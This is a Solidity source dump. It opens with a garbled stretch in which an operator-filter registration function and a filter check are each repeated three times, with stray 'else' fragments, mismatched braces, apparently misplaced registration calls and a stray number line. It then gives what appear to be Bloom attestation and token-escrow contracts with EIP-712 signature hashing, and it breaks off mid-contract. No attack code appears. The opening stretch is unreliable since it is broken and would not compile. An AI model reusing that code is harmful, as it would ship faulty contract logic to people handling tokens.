function initializeOperatorFilterer(address subscriptionOrRegistrantToCopy, bool subscribe) public virtual override {
if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
if (subscribe) {
OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
if (subscriptionOrRegistrantToCopy != address(0)) {
OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
OPERATOR_FILTER_REGISTRY.register(address(this));
}
}
}
}
function initializeOperatorFilterer(address subscriptionOrRegistrantToCopy, bool subscribe) public virtual override {
if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
if (subscribe) {
OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
if (subscriptionOrRegistrantToCopy != address(0)) {
OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
OPERATOR_FILTER_REGISTRY.register(address(this));
}
}
}
}
} else {
function initializeOperatorFilterer(address subscriptionOrRegistrantToCopy, bool subscribe) public virtual override {
if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
if (subscribe) {
OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
if (subscriptionOrRegistrantToCopy != address(0)) {
OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
OPERATOR_FILTER_REGISTRY.register(address(this));
}
}
}
}
} else {
function _checkFilterOperator(address operator) internal view virtual {
if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {
revert OperatorNotAllowed(operator);
}
}
}
function _checkFilterOperator(address operator) internal view virtual {
if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {
revert OperatorNotAllowed(operator);
}
}
}
function _checkFilterOperator(address operator) internal view virtual {
if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {
revert OperatorNotAllowed(operator);
}
}
}
}
| 15,729,324
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pragma solidity 0.4.24;
/**
* @dev Pulled from OpenZeppelin: https://git.io/vbaRf
* When this is in a public release we will switch to not vendoring this file
*
* @title Eliptic curve signature operations
*
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
*/
library ECRecovery {
/**
* @dev Recover signer address from a message by using his signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Extracting these values isn't possible without assembly
// solhint-disable no-inline-assembly
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
/**
* @title SigningLogic is contract implementing signature recovery from typed data signatures
* @notice Recovers signatures based on the SignTypedData implementation provided by ethSigUtil
* @dev This contract is inherited by other contracts.
*/
contract SigningLogic {
// Signatures contain a nonce to make them unique. usedSignatures tracks which signatures
// have been used so they can't be replayed
mapping (bytes32 => bool) public usedSignatures;
function burnSignatureDigest(bytes32 _signatureDigest, address _sender) internal {
bytes32 _txDataHash = keccak256(abi.encode(_signatureDigest, _sender));
require(!usedSignatures[_txDataHash], "Signature not unique");
usedSignatures[_txDataHash] = true;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 constant ATTESTATION_REQUEST_TYPEHASH = keccak256(
"AttestationRequest(bytes32 dataHash,bytes32 nonce)"
);
bytes32 constant ADD_ADDRESS_TYPEHASH = keccak256(
"AddAddress(address addressToAdd,bytes32 nonce)"
);
bytes32 constant REMOVE_ADDRESS_TYPEHASH = keccak256(
"RemoveAddress(address addressToRemove,bytes32 nonce)"
);
bytes32 constant PAY_TOKENS_TYPEHASH = keccak256(
"PayTokens(address sender,address receiver,uint256 amount,bytes32 nonce)"
);
bytes32 constant RELEASE_TOKENS_FOR_TYPEHASH = keccak256(
"ReleaseTokensFor(address sender,uint256 amount,bytes32 nonce)"
);
bytes32 constant ATTEST_FOR_TYPEHASH = keccak256(
"AttestFor(address subject,address requester,uint256 reward,bytes32 dataHash,bytes32 requestNonce)"
);
bytes32 constant CONTEST_FOR_TYPEHASH = keccak256(
"ContestFor(address requester,uint256 reward,bytes32 requestNonce)"
);
bytes32 constant REVOKE_ATTESTATION_FOR_TYPEHASH = keccak256(
"RevokeAttestationFor(bytes32 link,bytes32 nonce)"
);
bytes32 constant VOTE_FOR_TYPEHASH = keccak256(
"VoteFor(uint16 choice,address voter,bytes32 nonce,address poll)"
);
bytes32 constant LOCKUP_TOKENS_FOR_TYPEHASH = keccak256(
"LockupTokensFor(address sender,uint256 amount,bytes32 nonce)"
);
bytes32 DOMAIN_SEPARATOR;
constructor (string name, string version, uint256 chainId) public {
DOMAIN_SEPARATOR = hash(EIP712Domain({
name: name,
version: version,
chainId: chainId,
verifyingContract: this
}));
}
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
function hash(EIP712Domain eip712Domain) private pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract
));
}
struct AttestationRequest {
bytes32 dataHash;
bytes32 nonce;
}
function hash(AttestationRequest request) private pure returns (bytes32) {
return keccak256(abi.encode(
ATTESTATION_REQUEST_TYPEHASH,
request.dataHash,
request.nonce
));
}
struct AddAddress {
address addressToAdd;
bytes32 nonce;
}
function hash(AddAddress request) private pure returns (bytes32) {
return keccak256(abi.encode(
ADD_ADDRESS_TYPEHASH,
request.addressToAdd,
request.nonce
));
}
struct RemoveAddress {
address addressToRemove;
bytes32 nonce;
}
function hash(RemoveAddress request) private pure returns (bytes32) {
return keccak256(abi.encode(
REMOVE_ADDRESS_TYPEHASH,
request.addressToRemove,
request.nonce
));
}
struct PayTokens {
address sender;
address receiver;
uint256 amount;
bytes32 nonce;
}
function hash(PayTokens request) private pure returns (bytes32) {
return keccak256(abi.encode(
PAY_TOKENS_TYPEHASH,
request.sender,
request.receiver,
request.amount,
request.nonce
));
}
struct AttestFor {
address subject;
address requester;
uint256 reward;
bytes32 dataHash;
bytes32 requestNonce;
}
function hash(AttestFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
ATTEST_FOR_TYPEHASH,
request.subject,
request.requester,
request.reward,
request.dataHash,
request.requestNonce
));
}
struct ContestFor {
address requester;
uint256 reward;
bytes32 requestNonce;
}
function hash(ContestFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
CONTEST_FOR_TYPEHASH,
request.requester,
request.reward,
request.requestNonce
));
}
struct RevokeAttestationFor {
bytes32 link;
bytes32 nonce;
}
function hash(RevokeAttestationFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
REVOKE_ATTESTATION_FOR_TYPEHASH,
request.link,
request.nonce
));
}
struct VoteFor {
uint16 choice;
address voter;
bytes32 nonce;
address poll;
}
function hash(VoteFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
VOTE_FOR_TYPEHASH,
request.choice,
request.voter,
request.nonce,
request.poll
));
}
struct LockupTokensFor {
address sender;
uint256 amount;
bytes32 nonce;
}
function hash(LockupTokensFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
LOCKUP_TOKENS_FOR_TYPEHASH,
request.sender,
request.amount,
request.nonce
));
}
struct ReleaseTokensFor {
address sender;
uint256 amount;
bytes32 nonce;
}
function hash(ReleaseTokensFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
RELEASE_TOKENS_FOR_TYPEHASH,
request.sender,
request.amount,
request.nonce
));
}
function generateRequestAttestationSchemaHash(
bytes32 _dataHash,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(AttestationRequest(
_dataHash,
_nonce
))
)
);
}
function generateAddAddressSchemaHash(
address _addressToAdd,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(AddAddress(
_addressToAdd,
_nonce
))
)
);
}
function generateRemoveAddressSchemaHash(
address _addressToRemove,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(RemoveAddress(
_addressToRemove,
_nonce
))
)
);
}
function generatePayTokensSchemaHash(
address _sender,
address _receiver,
uint256 _amount,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(PayTokens(
_sender,
_receiver,
_amount,
_nonce
))
)
);
}
function generateAttestForDelegationSchemaHash(
address _subject,
address _requester,
uint256 _reward,
bytes32 _dataHash,
bytes32 _requestNonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(AttestFor(
_subject,
_requester,
_reward,
_dataHash,
_requestNonce
))
)
);
}
function generateContestForDelegationSchemaHash(
address _requester,
uint256 _reward,
bytes32 _requestNonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(ContestFor(
_requester,
_reward,
_requestNonce
))
)
);
}
function generateRevokeAttestationForDelegationSchemaHash(
bytes32 _link,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(RevokeAttestationFor(
_link,
_nonce
))
)
);
}
function generateVoteForDelegationSchemaHash(
uint16 _choice,
address _voter,
bytes32 _nonce,
address _poll
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(VoteFor(
_choice,
_voter,
_nonce,
_poll
))
)
);
}
function generateLockupTokensDelegationSchemaHash(
address _sender,
uint256 _amount,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(LockupTokensFor(
_sender,
_amount,
_nonce
))
)
);
}
function generateReleaseTokensDelegationSchemaHash(
address _sender,
uint256 _amount,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(ReleaseTokensFor(
_sender,
_amount,
_nonce
))
)
);
}
function recoverSigner(bytes32 _hash, bytes _sig) internal pure returns (address) {
address signer = ECRecovery.recover(_hash, _sig);
require(signer != address(0));
return signer;
}
}
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @notice TokenEscrowMarketplace is an ERC20 payment channel that enables users to send BLT by exchanging signatures off-chain
* Users approve the contract address to transfer BLT on their behalf using the standard ERC20.approve function
* After approval, either the user or the contract admin initiates the transfer of BLT into the contract
* Once in the contract, users can send payments via a signed message to another user.
* The signature transfers BLT from lockup to the recipient's balance
* Users can withdraw funds at any time. Or the admin can release them on the user's behalf
*
* BLT is stored in the contract by address
*
* Only the AttestationLogic contract is authorized to release funds once a jobs is complete
*/
contract TokenEscrowMarketplace is SigningLogic {
using SafeERC20 for ERC20;
using SafeMath for uint256;
address public attestationLogic;
mapping(address => uint256) public tokenEscrow;
ERC20 public token;
event TokenMarketplaceWithdrawal(address escrowPayer, uint256 amount);
event TokenMarketplaceEscrowPayment(address escrowPayer, address escrowPayee, uint256 amount);
event TokenMarketplaceDeposit(address escrowPayer, uint256 amount);
/**
* @notice The TokenEscrowMarketplace constructor initializes the interfaces to the other contracts
* @dev Some actions are restricted to be performed by the attestationLogic contract.
* Signing logic is upgradeable in case the signTypedData spec changes
* @param _token Address of BLT
* @param _attestationLogic Address of current attestation logic contract
*/
constructor(
ERC20 _token,
address _attestationLogic
) public SigningLogic("Bloom Token Escrow Marketplace", "2", 1) {
token = _token;
attestationLogic = _attestationLogic;
}
modifier onlyAttestationLogic() {
require(msg.sender == attestationLogic);
_;
}
/**
* @notice Lockup tokens for set time period on behalf of user. Must be preceeded by approve
* @dev Authorized by a signTypedData signature by sender
* Sigs can only be used once. They contain a unique nonce
* So an action can be repeated, with a different signature
* @param _sender User locking up their tokens
* @param _amount Tokens to lock up
* @param _nonce Unique Id so signatures can't be replayed
* @param _delegationSig Signed hash of these input parameters so an admin can submit this on behalf of a user
*/
function moveTokensToEscrowLockupFor(
address _sender,
uint256 _amount,
bytes32 _nonce,
bytes _delegationSig
) external {
validateLockupTokensSig(
_sender,
_amount,
_nonce,
_delegationSig
);
moveTokensToEscrowLockupForUser(_sender, _amount);
}
/**
* @notice Verify lockup signature is valid
* @param _sender User locking up their tokens
* @param _amount Tokens to lock up
* @param _nonce Unique Id so signatures can't be replayed
* @param _delegationSig Signed hash of these input parameters so an admin can submit this on behalf of a user
*/
function validateLockupTokensSig(
address _sender,
uint256 _amount,
bytes32 _nonce,
bytes _delegationSig
) private {
bytes32 _signatureDigest = generateLockupTokensDelegationSchemaHash(_sender, _amount, _nonce);
require(_sender == recoverSigner(_signatureDigest, _delegationSig), 'Invalid LockupTokens Signature');
burnSignatureDigest(_signatureDigest, _sender);
}
/**
* @notice Lockup tokens by user. Must be preceeded by approve
* @param _amount Tokens to lock up
*/
function moveTokensToEscrowLockup(uint256 _amount) external {
moveTokensToEscrowLockupForUser(msg.sender, _amount);
}
/**
* @notice Lockup tokens for set time. Must be preceeded by approve
* @dev Private function called by appropriate public function
* @param _sender User locking up their tokens
* @param _amount Tokens to lock up
*/
function moveTokensToEscrowLockupForUser(
address _sender,
uint256 _amount
) private {
token.safeTransferFrom(_sender, this, _amount);
addToEscrow(_sender, _amount);
}
/**
* @notice Withdraw tokens from escrow back to requester
* @dev Authorized by a signTypedData signature by sender
* Sigs can only be used once. They contain a unique nonce
* So an action can be repeated, with a different signature
* @param _sender User withdrawing their tokens
* @param _amount Tokens to withdraw
* @param _nonce Unique Id so signatures can't be replayed
* @param _delegationSig Signed hash of these input parameters so an admin can submit this on behalf of a user
*/
function releaseTokensFromEscrowFor(
address _sender,
uint256 _amount,
bytes32 _nonce,
bytes _delegationSig
) external {
validateReleaseTokensSig(
_sender,
_amount,
_nonce,
_delegationSig
);
releaseTokensFromEscrowForUser(_sender, _amount);
}
/**
* @notice Verify lockup signature is valid
* @param _sender User withdrawing their tokens
* @param _amount Tokens to lock up
* @param _nonce Unique Id so signatures can't be replayed
* @param _delegationSig Signed hash of these input parameters so an admin can submit this on behalf of a user
*/
function validateReleaseTokensSig(
address _sender,
uint256 _amount,
bytes32 _nonce,
bytes _delegationSig
) private {
bytes32 _signatureDigest = generateReleaseTokensDelegationSchemaHash(_sender, _amount, _nonce);
require(_sender == recoverSigner(_signatureDigest, _delegationSig), 'Invalid ReleaseTokens Signature');
burnSignatureDigest(_signatureDigest, _sender);
}
/**
* @notice Release tokens back to payer's available balance if lockup expires
* @dev Token balance retreived by accountId. Can be different address from the one that deposited tokens
* @param _amount Tokens to retreive from escrow
*/
function releaseTokensFromEscrow(uint256 _amount) external {
releaseTokensFromEscrowForUser(msg.sender, _amount);
}
/**
* @notice Release tokens back to payer's available balance
* @param _payer User retreiving tokens from escrow
* @param _amount Tokens to retreive from escrow
*/
function releaseTokensFromEscrowForUser(
address _payer,
uint256 _amount
) private {
subFromEscrow(_payer, _amount);
token.safeTransfer(_payer, _amount);
emit TokenMarketplaceWithdrawal(_payer, _amount);
}
/**
* @notice Pay from escrow of payer to available balance of receiever
* @dev Private function to modify balances on payment
* @param _payer User with tokens in escrow
* @param _receiver User receiving tokens
* @param _amount Tokens being sent
*/
function payTokensFromEscrow(address _payer, address _receiver, uint256 _amount) private {
subFromEscrow(_payer, _amount);
token.safeTransfer(_receiver, _amount);
}
/**
* @notice Pay tokens to receiver from payer's escrow given a valid signature
* @dev Execution restricted to attestationLogic contract
* @param _payer User paying tokens from escrow
* @param _receiver User receiving payment
* @param _amount Tokens being paid
* @param _nonce Unique Id for sig to make it one-time-use
* @param _paymentSig Signed parameters by payer authorizing payment
*/
function requestTokenPayment(
address _payer,
address _receiver,
uint256 _amount,
bytes32 _nonce,
bytes _paymentSig
) external onlyAttestationLogic {
validatePaymentSig(
_payer,
_receiver,
_amount,
_nonce,
_paymentSig
);
payTokensFromEscrow(_payer, _receiver, _amount);
emit TokenMarketplaceEscrowPayment(_payer, _receiver, _amount);
}
/**
* @notice Verify payment signature is valid
* @param _payer User paying tokens from escrow
* @param _receiver User receiving payment
* @param _amount Tokens being paid
* @param _nonce Unique Id for sig to make it one-time-use
* @param _paymentSig Signed parameters by payer authorizing payment
*/
function validatePaymentSig(
address _payer,
address _receiver,
uint256 _amount,
bytes32 _nonce,
bytes _paymentSig
) private {
bytes32 _signatureDigest = generatePayTokensSchemaHash(_payer, _receiver, _amount, _nonce);
require(_payer == recoverSigner(_signatureDigest, _paymentSig), 'Invalid Payment Signature');
burnSignatureDigest(_signatureDigest, _payer);
}
/**
* @notice Helper function to add to escrow balance
* @param _from Account address for escrow mapping
* @param _amount Tokens to lock up
*/
function addToEscrow(address _from, uint256 _amount) private {
tokenEscrow[_from] = tokenEscrow[_from].add(_amount);
emit TokenMarketplaceDeposit(_from, _amount);
}
/**
* Helper function to reduce escrow token balance of user
*/
function subFromEscrow(address _from, uint256 _amount) private {
require(tokenEscrow[_from] >= _amount);
tokenEscrow[_from] = tokenEscrow[_from].sub(_amount);
}
}
/**
* @title Initializable
* @dev The Initializable contract has an initializer address, and provides basic authorization control
* only while in initialization mode. Once changed to production mode the inializer loses authority
*/
contract Initializable {
address public initializer;
bool public initializing;
event InitializationEnded();
/**
* @dev The Initializable constructor sets the initializer to the provided address
*/
constructor(address _initializer) public {
initializer = _initializer;
initializing = true;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyDuringInitialization() {
require(msg.sender == initializer, 'Method can only be called by initializer');
require(initializing, 'Method can only be called during initialization');
_;
}
/**
* @dev Allows the initializer to end the initialization period
*/
function endInitialization() public onlyDuringInitialization {
initializing = false;
emit InitializationEnded();
}
}
/**
* @title AttestationLogic allows users to submit attestations given valid signatures
* @notice Attestation Logic Logic provides a public interface for Bloom and
* users to submit attestations.
*/
contract AttestationLogic is Initializable, SigningLogic{
TokenEscrowMarketplace public tokenEscrowMarketplace;
/**
* @notice AttestationLogic constructor sets the implementation address of all related contracts
* @param _tokenEscrowMarketplace Address of marketplace holding tokens which are
* released to attesters upon completion of a job
*/
constructor(
address _initializer,
TokenEscrowMarketplace _tokenEscrowMarketplace
) Initializable(_initializer) SigningLogic("Bloom Attestation Logic", "2", 1) public {
tokenEscrowMarketplace = _tokenEscrowMarketplace;
}
event TraitAttested(
address subject,
address attester,
address requester,
bytes32 dataHash
);
event AttestationRejected(address indexed attester, address indexed requester);
event AttestationRevoked(bytes32 link, address attester);
event TokenEscrowMarketplaceChanged(address oldTokenEscrowMarketplace, address newTokenEscrowMarketplace);
/**
* @notice Function for attester to submit attestation from their own account)
* @dev Wrapper for attestForUser using msg.sender
* @param _subject User this attestation is about
* @param _requester User requesting and paying for this attestation in BLT
* @param _reward Payment to attester from requester in BLT
* @param _requesterSig Signature authorizing payment from requester to attester
* @param _dataHash Hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig Signed authorization from subject with attestation agreement
*/
function attest(
address _subject,
address _requester,
uint256 _reward,
bytes _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _subjectSig // Sig of subject with requester, attester, dataHash, requestNonce
) external {
attestForUser(
_subject,
msg.sender,
_requester,
_reward,
_requesterSig,
_dataHash,
_requestNonce,
_subjectSig
);
}
/**
* @notice Submit attestation for a user in order to pay the gas costs
* @dev Recover signer of delegation message. If attester matches delegation signature, add the attestation
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requesterSig signature authorizing payment from requester to attester
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig signed authorization from subject with attestation agreement
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function attestFor(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _subjectSig, // Sig of subject with dataHash and requestNonce
bytes _delegationSig
) external {
// Confirm attester address matches recovered address from signature
validateAttestForSig(_subject, _attester, _requester, _reward, _dataHash, _requestNonce, _delegationSig);
attestForUser(
_subject,
_attester,
_requester,
_reward,
_requesterSig,
_dataHash,
_requestNonce,
_subjectSig
);
}
/**
* @notice Perform attestation
* @dev Verify valid certainty level and user addresses
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requesterSig signature authorizing payment from requester to attester
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig signed authorization from subject with attestation agreement
*/
function attestForUser(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _subjectSig
) private {
validateSubjectSig(
_subject,
_dataHash,
_requestNonce,
_subjectSig
);
emit TraitAttested(
_subject,
_attester,
_requester,
_dataHash
);
if (_reward > 0) {
tokenEscrowMarketplace.requestTokenPayment(_requester, _attester, _reward, _requestNonce, _requesterSig);
}
}
/**
* @notice Function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* @param _requester User requesting and paying for this attestation in BLT
* @param _reward Payment to attester from requester in BLT
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig Signature authorizing payment from requester to attester
*/
function contest(
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes _requesterSig
) external {
contestForUser(
msg.sender,
_requester,
_reward,
_requestNonce,
_requesterSig
);
}
/**
* @notice Function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* Perform on behalf of attester to pay gas fees
* @param _requester User requesting and paying for this attestation in BLT
* @param _attester user completing the attestation
* @param _reward Payment to attester from requester in BLT
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig Signature authorizing payment from requester to attester
*/
function contestFor(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes _requesterSig,
bytes _delegationSig
) external {
validateContestForSig(
_attester,
_requester,
_reward,
_requestNonce,
_delegationSig
);
contestForUser(
_attester,
_requester,
_reward,
_requestNonce,
_requesterSig
);
}
/**
* @notice Private function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig signature authorizing payment from requester to attester
*/
function contestForUser(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes _requesterSig
) private {
if (_reward > 0) {
tokenEscrowMarketplace.requestTokenPayment(_requester, _attester, _reward, _requestNonce, _requesterSig);
}
emit AttestationRejected(_attester, _requester);
}
/**
* @notice Verify subject signature is valid
* @param _subject user this attestation is about
* @param _dataHash hash of data being attested and nonce
* param _requestNonce Nonce in sig signed by subject so it can't be replayed
* @param _subjectSig Signed authorization from subject with attestation agreement
*/
function validateSubjectSig(
address _subject,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _subjectSig
) private {
bytes32 _signatureDigest = generateRequestAttestationSchemaHash(_dataHash, _requestNonce);
require(_subject == recoverSigner(_signatureDigest, _subjectSig));
burnSignatureDigest(_signatureDigest, _subject);
}
/**
* @notice Verify attester delegation signature is valid
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce nonce in sig signed by subject so it can't be replayed
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function validateAttestForSig(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _delegationSig
) private {
bytes32 _delegationDigest = generateAttestForDelegationSchemaHash(_subject, _requester, _reward, _dataHash, _requestNonce);
require(_attester == recoverSigner(_delegationDigest, _delegationSig), 'Invalid AttestFor Signature');
burnSignatureDigest(_delegationDigest, _attester);
}
/**
* @notice Verify attester delegation signature is valid
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requestNonce nonce referenced in TokenEscrowMarketplace so payment sig can't be replayed
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function validateContestForSig(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes _delegationSig
) private {
bytes32 _delegationDigest = generateContestForDelegationSchemaHash(_requester, _reward, _requestNonce);
require(_attester == recoverSigner(_delegationDigest, _delegationSig), 'Invalid ContestFor Signature');
burnSignatureDigest(_delegationDigest, _attester);
}
/**
* @notice Submit attestation completed prior to deployment of this contract
* @dev Gives initializer privileges to write attestations during the initialization period without signatures
* @param _requester user requesting this attestation be completed
* @param _attester user completing the attestation
* @param _subject user this attestation is about
* @param _dataHash hash of data being attested
*/
function migrateAttestation(
address _requester,
address _attester,
address _subject,
bytes32 _dataHash
) public onlyDuringInitialization {
emit TraitAttested(
_subject,
_attester,
_requester,
_dataHash
);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
*/
function revokeAttestation(
bytes32 _link
) external {
revokeAttestationForUser(_link, msg.sender);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
*/
function revokeAttestationFor(
address _sender,
bytes32 _link,
bytes32 _nonce,
bytes _delegationSig
) external {
validateRevokeForSig(_sender, _link, _nonce, _delegationSig);
revokeAttestationForUser(_link, _sender);
}
/**
* @notice Verify revocation signature is valid
* @param _link bytes string embedded in dataHash to link revocation
* @param _sender user revoking attestation
* @param _delegationSig signature authorizing revocation on behalf of revoker
*/
function validateRevokeForSig(
address _sender,
bytes32 _link,
bytes32 _nonce,
bytes _delegationSig
) private {
bytes32 _delegationDigest = generateRevokeAttestationForDelegationSchemaHash(_link, _nonce);
require(_sender == recoverSigner(_delegationDigest, _delegationSig), 'Invalid RevokeFor Signature');
burnSignatureDigest(_delegationDigest, _sender);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
* @param _sender address identify revoker
*/
function revokeAttestationForUser(
bytes32 _link,
address _sender
) private {
emit AttestationRevoked(_link, _sender);
}
/**
* @notice Set the implementation of the TokenEscrowMarketplace contract by setting a new address
* @dev Restricted to initializer
* @param _newTokenEscrowMarketplace Address of new SigningLogic implementation
*/
